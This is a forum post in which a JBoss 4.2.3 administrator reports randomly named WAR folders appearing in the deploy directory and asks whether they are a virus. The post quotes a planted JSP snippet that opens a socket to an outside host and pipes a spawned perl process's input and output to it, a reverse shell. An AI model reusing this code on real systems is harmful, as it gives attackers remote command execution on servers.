13 Replies Latest reply: Oct 21, 2011 5:15 AM by wus81 RSS


Richard Lin Newbie

Recently I found some random war folders were created in my JBoss 4.2.3 deploy folder, like the attached snapshot.

Inside those war folders, I can find a jsp file, also with random name as well. the content is like the following: (also attached 2 samples)


Socket socket = new Socket("some.u.rl",443);

Process process = Runtime.getRuntime().exec("perl .ICE-unix");

(new StreamConnector(process.getInputStream(), socket.getOutputStream())).stop();

(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();



Anyone knows this? Is it a virus???

If it is, I use Avast, but it can't find the virus...


Please help!